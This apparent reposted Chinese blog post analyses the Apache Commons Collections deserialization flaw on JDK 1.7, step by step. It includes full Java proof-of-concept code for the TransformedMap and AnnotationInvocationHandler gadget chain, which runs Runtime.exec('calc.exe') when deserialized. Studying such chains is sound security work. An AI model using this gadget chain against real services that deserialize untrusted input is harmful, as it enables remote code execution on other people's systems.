首页 > 编程语言 > 详细

Java反序列化漏洞Apache CommonsCollections分析

时间:2021-05-17 22:10:57      阅读:35      评论:0      收藏:0      [点我收藏+]

Java反序列化漏洞Apache CommonsCollections分析

1.本文所需前置知识

java反序列化基础

java反射基础

文章参考:https://github.com/Maskhe/javasec/blob/master/3. apache commons-collections中的反序列化.md

2.实验环境

JDK1.7.0_80

commons-collections-3.2.1

3.分析

3.1 Transformer接口

打开org.apache.commons.collections.Transformer类,可以看到源码中对该类的解释是从一个对象变为另一个对象(Transforms the input object (leaving it unchanged) into some output object.),如下图所示:

技术分享图片

下面我们使用一个例子来解释这个类的作用:

技术分享图片

当输入Runtime.class时输出了类的类型

技术分享图片

我们要进行对象的转变时候,对应的操作应该在transform方法中。

Ctrl+H 查找实现了Transformer接口的类,重点关注以下几个类ConstantTransformer,invokerTransformer,ChainedTransformer。我们通过分析这几个类来构造payload。

3.2 ConstantTransformer

该类使用了Transformer的接口,重写了transformer的方法

技术分享图片

transformer返回了iConstant变量,而这个变量在ConstantTransformer方法中被赋值。我们使用这个方法看下作用。

技术分享图片

在return iConstant;处设置断点,运行程序查看返回值,发现这里返回的是Runtime.class

技术分享图片

3.3 InvokerTransformer

查看源码说是通过反射创建一个新的对象(Transformer implementation that creates a new object instance by reflection.)

来到InvokerTransformer的transform方法:

技术分享图片

可以明显看到这里使用了反射的方式来调用对象的方法,还有有几个变量iMethodName,iParamTypes,iArgs

这几个变量是通过public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args)这个构造函数传入。

技术分享图片

利用构造函数传入值,调用transform方法

查看InvokerTransformer源码找到

iParamTypes为Class[]集合

iArgs为Obeject[]集合

技术分享图片

再查看getMethod源码得知getMethod参数为new Class[]{String.class, Class[].class}

技术分享图片

同理invoke参数为 new Object[]{"getRuntime", null},没有@NotNull注释表明可以为null

技术分享图片

构造出方法并执行:

技术分享图片

可以看到这里反射出了Runtime.getRuntime()的方法,而我们要构造出Runtime.getRuntime().exec(" ");怎么办呢,这里再介绍一个类ChainedTransformer

3.4 ChainedTransformer

查看源码transform方法,这里是遍历一个iTransformers[]集合,并且里面的每个参数都会调用一次transform方法并且依次拼接成一条链式调用,如果我们传入InvokerTransformer作为参数,那么将调用InvokerTransformer中的transform方法执行反射操作。

技术分享图片

利用ChainedTransformer反射链构造POC的步骤

new Transform[]数组 → 利用ChainedTransformer的构造方法 → 赋值给iTransformers → 调用ChainedTransformer.transform

用ConstantTransformer来构造开头的Runtime.class对象

技术分享图片

反射链最终执行的是((Runtime) Runtime.class.getMethod("getRuntime").invoke(Runtime.class)).exec("calc.exe");

其中的chain.transform(‘1‘);可以填任意Obeject对象,成功弹出计算器

技术分享图片

应该怎么在真实的应用中触发ChainedTransformer的transform方法,接下来寻找下调用了或者可以间接调用ChainedTransformer.transform的类,其中有两个类LazyMap、TransformedMap

3.5 TransformedMap

在TransformedMap中,有三处使用了transform方法,transformKey,transformValue,checkSetValue

技术分享图片

技术分享图片

有调用transform方法还不够,还需要能调用ChainedTransformer.transform,所以得传入ChainedTransformer,我们先看下keyTransformer,valueTransformer的类型

技术分享图片

看到为Transformer类型,可以传入ChainedTransformer,利用TransformedMap的三个方法transformKey、transformValue、checkSetValue触发transform方法,可是发现这几个方法都是protected权限,无法被外界访问。只能通过内部类进行调用。寻找下权限为public的函数。

技术分享图片

技术分享图片

重点看下decorate方法传入了keyTransformer,valueTransformer的值,put方法调用了transformKey、transformValue方法,而这两个方法又调用了transform方法技术分享图片

我们可以通过实例化一个TransforomedMap对象,调用decorate方法传入keyTransformer,valueTransformer的值,利用对象的put方法执行transformKey、transformValue方法,从而执行任意命令

构造的poc:

public class PocTest {
    public static void main(String[] args) {
        Transformer[] transformers_exec = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"})
        };
        Transformer chainedTransformer = new ChainedTransformer(transformers_exec);

        HashMap hashMap = new HashMap();
        hashMap.put("key","xxx");

        Map decorate = TransformedMap.decorate(hashMap,null,chainedTransformer);
        decorate.put("value","xxx");
    }
}

技术分享图片

现在我们能触发transform了,但是要找一个类,可以利用反序列化自动触发,必须满足以下条件:

这个类重写了readObject(),并且readObject方法中能调用TransformedMap的transformKey、transformValue、checkSetValue这几个方法

3.6 sun.reflect.annotation.AnnotationInvocationHandler类

此类在JDK1.8中已经更新,无法采用此类触发漏洞

下面是JDK1.7得AnnotationInvocationHandler.readObject

技术分享图片

这里重写了readObject方法,并对Map类型的属性的entry进行了setValue操作

技术分享图片

首先来看一个点,TransformedMap里的每个entryset在调用setValue方法时会自动调用TransformedMap类的checkSetValue方法

我们写一个demon来分析下:

public class myTransformedMap {
    public static void main(String[] args){
        ChainedTransformer chained = null;
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})};
        chained = new ChainedTransformer(transformers);
        Map m = new HashMap();
        m.put("key", "value"); // 参数不重要,剧情需要
        Map map = TransformedMap.decorate(m,null,chained);
        Map.Entry entry = (Map.Entry) map.entrySet().iterator().next(); // 转换为集合类型,并通过迭代器获取第一组值
        entry.setValue(Object.class); // 参数不重要,剧情需要
    }
}

此处 Map.Entry entry的类型变成了AbstractInputCheckedMapDecorator$MapEntry

技术分享图片

在entry.setValue(Object.class); 处下断点,跟进发现跳转至了AbstractInputCheckedMapDecorator.setValue,这行value = parent.checkSetValue(value);,也就是调用了TransformedMap的checkSetValue方法

技术分享图片

结合前面AnnotationInvocationHandler.readObject中的var5.setValue,而var5又为this.memberValues中的一个entryset

技术分享图片

所以,只要把this.memberValues值设置为TransformerdMap就可以触发setValue

技术分享图片

前置条件是满足if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy))

技术分享图片

var7 = (Class)var3.get(var6),其中var3=var2.memberTypes(),然后var2=AnnotationType.getInstance(this.type),而this.type为构造函数中的第一个值var1。

技术分享图片

var1首先要继承Annotation,而Annotation是所有注解类默认继承的接口,所以找到java.lang.annotation.Target或者java.lang.annotation.Retention

技术分享图片

构造POC:

package com.yyhuni;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class PocTest {
    public static void main(String[] args) throws Exception{
        Transformer[] transformers_exec = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"})
        };

        Transformer chain = new ChainedTransformer(transformers_exec);

        HashMap innerMap = new HashMap();
        innerMap.put("value","asdf");

        Map outerMap = TransformedMap.decorate(innerMap,null,chain);



        // 通过反射机制实例化AnnotationInvocationHandler
        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor cons = clazz.getDeclaredConstructor(Class.class,Map.class);
        cons.setAccessible(true);
        Object ins = cons.newInstance(java.lang.annotation.Target.class,outerMap);
        // 序列化
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(ins);
        oos.flush();
        oos.close();
        // 本地模拟反序列化
        ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(bais);
        Object obj = (Object) ois.readObject();
    }
}

innerMap.put("value","asdf");的Key要为value,不然无法利用

在对TransformedMap.decorate的参数一Map对象使用put设置键值对时,key应为字符串"value";value不能为空,否则会出现空指针异常。value可设为非java.lang.annotation.RetentionPolicy或sun.reflect.annotation.ExceptionProxy类的对象,如String,Integer对象的任意值等;

来源:http://drops.xmd5.com/static/drops/papers-13244.html

Java反序列化漏洞Apache CommonsCollections分析

原文:https://www.cnblogs.com/yyhuni/p/14777166.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!